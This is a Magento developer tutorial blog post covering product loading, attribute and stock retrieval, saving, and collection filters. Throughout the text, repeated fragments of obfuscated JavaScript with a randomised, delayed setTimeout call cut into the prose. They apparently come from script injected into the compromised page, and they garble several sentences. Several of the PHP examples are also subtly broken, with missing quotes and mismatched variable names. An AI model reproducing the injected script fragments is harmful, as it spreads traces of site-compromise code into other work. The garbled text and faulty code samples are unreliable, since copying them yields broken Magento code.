Contact us
0845 123 3700

The Dimasoft Blog

All the latest news and thoughts from the worlds of Design, Development and the Internet

< Back to Blogs

Common Magento Functions

When developing in Magento, sooner or later you will need to retrieve or save product data to the database. Below are some of the most commonly used models andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and functions that can be used to achieve this.

Product Related Functions

The need to fetch product objects andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and their associated attribute data is very common - particularly when doing frontend development.

Product Objects:
To get the product object you must first load the product model: Mage_Catalog_Model_Product.

$productModel = Mage::getModel('catalog/product');
Once the model has been retrieved the next step is to load a particular product object. This is usually achieved via the load($id) method by passing the product entity id argument:

$_product=$productModel->load(5);
Alternatively a product can be identified using one of its attributes such as SKU - using the loadByAttribute('sku', $sku) function. The two step process of fetching the product model andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and retrieving the actual product object is typically chained together in one line:

$_product = Mage::getModel('catalog/product')->loadByAttribute('sku', $sku);

Retrieving Product Attribute Data:

Once the product object has been loaded, there are two ways of retrieving data from the object. To fetch the name of a product we could use either of the following:

1. $name=$product->getName();2. $name=$product->getData('name');

In addition to the default product attributes, custom attribute data can be retrieved using the same methods above. So a custom attribute with a code of amazon_asin could be retrieved using:

1. $amazon_asin=$product->getAmazonAsin();2. $name=$product->getData('amazon_asin');

Depending on the type of input field used for entering the data in the backend, the above methods may return the id of the value rather than the value itself (i.e select inputs). In order to retrieve the actual value of the attribute the following method can be used:

$text =$product->getAttributeText($attribute_code);

Retrieving Stock Data:

In order to retrieve product inventory data such as qty, stock availability, is_in_stock, the stock object must be loaded by passing the product object to the loadByProduct() method from the Mage_CatalogInventory_Model_Stock_Item model:

$stock = Mage::getModel('cataloginventory/stock_item')->loadByProduct($product);

Once the stock object has been created the inventory data can now be retrieved:

$stock->getData('manage_stock');$stock->getData('is_in_stock');$stock->getData('use_config_notify_stock_qty');$stock->getData('qty');

Saving Product Data:

As well as retrieving product data you can also save product data using either of the following methods:

$product->setDescription($description);
$product->setData(‘description, $description);

Once the data has been set, calling the save() method on the object will save the data. It is always good practise to wrap the method in a try catch just in case an exception is thrown during the save process.

try{
$product->save();
echo "Product data updated successfully.";
}
catch (Exception $e){
echo $e->getMessage();
}

And similarly with the stock objects:

$stock->setData('manage_stock', 1);$stock->setData('is_in_stock', 0);$stock->setData('use_config_notify_stock_qty', 0);$stock->setData('qty', 0);
try{
$stock->save();
echo "Stock data updated successfully.";
}
catch (Exception $e){
echo $e->getMessage();
}

Product Collections:

Typically when working with products you will often need to retrieve a collection of product objects. There are two ways of loading a product collection. Either by using the method getCollection() on your product model instance or by using the load collection class in the factory method getResourceModel:

  1. $_collection = Mage::getModel('catalog/product')->getCollection();
  2. $_collection = Mage::getResourceModel('catalog/product_collection');

 

Since the product model contains a very large amount of data by default, Magento will only load the basic data from the catalog_product_entity table such as entity_id, sku, entity_type_id etc. Using the addAttributeToSelect method we can add additional product data:

$collection->addAttributeToSelect('name', 'description', meta_title);
The addAttributeToFilter() method can take a large range of arguments andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and basic conditionals can be used - similar to MYSQL.

Below is a list of conditionals that can be applied to the collection:

Greater Than
$collection->addAttributeToFilter('price', array('gt' => 5));

Less Than
$collection->addAttributeToFilter('price', array('lt' => 5));

Greater Than or Equal To
$collection->addAttributeToFilter('price', array('gteq' => 3));

Less Than or Equal To
$collection->addAttributeToFilter('price', array('lteq' => 3));

Is Equal To
$collection->addAttributeToFilter('status', array('eq' => 2));

Is Not Equal To
$collection->addAttributeToFilter('visibility', array('neq' => 2));

Contains – with % wildcards
$collection->addAttributeToFilter('sku', array('like' => BAD%'));

Does Not Contain – with % wildcards
$collection->addAttributeToFilter('sku', array('nlike' => 'TRAINER%'));

In Array
$collection->addAttributeToFilter('entity_id', array('in' => array(5,10,31)));

Not In Array
$collection->addAttributeToFilter('entity_id', array('nin' => array(5,10,31)));

IS NULL
$collection->addAttributeToFilter('short_description', 'null');

IS NOT NULL
$collection->addAttributeToFilter('short_description', 'notnull');
Furthermore, you can use the addAttributeToSelect() function to select which product data you would like the collection of product objects to contain. So if we wanted to retrieve all data for simple products for a particular store, with a price greater than £5 - we could use the following commandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and:

$collection = Mage::getModel('catalog/product')->getCollection()
->addAttributeToSelect('*')
->addAttributeToFilter('type_id', simple )                              ->addAttributeToFilter('price', array('gt' => 5))
->addStoreFilter($store_id);
Once the collection has been retrieved you can then loop through the product objects andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and retrieve (or save) data using the methods described earlier in this article:

foreach ($collectionConfigurable as $_product) {
$stockItem =Mage::getModel('cataloginventory/stock_item')
->loadByProduct($_product->getId());

$name = $product->getName();
$description = $product->getDescription();
if($_product->isSaleable()) {
$stockItem->setData('is_in_stock', 1);
try{
$stock->save();
echo "Stock data updated successfully.";
}
catch (Exception $e){
echo $e->getMessage();
}

}

}

Tuesday, August 25th, 2015 by admin Development, Magento

Leave a Reply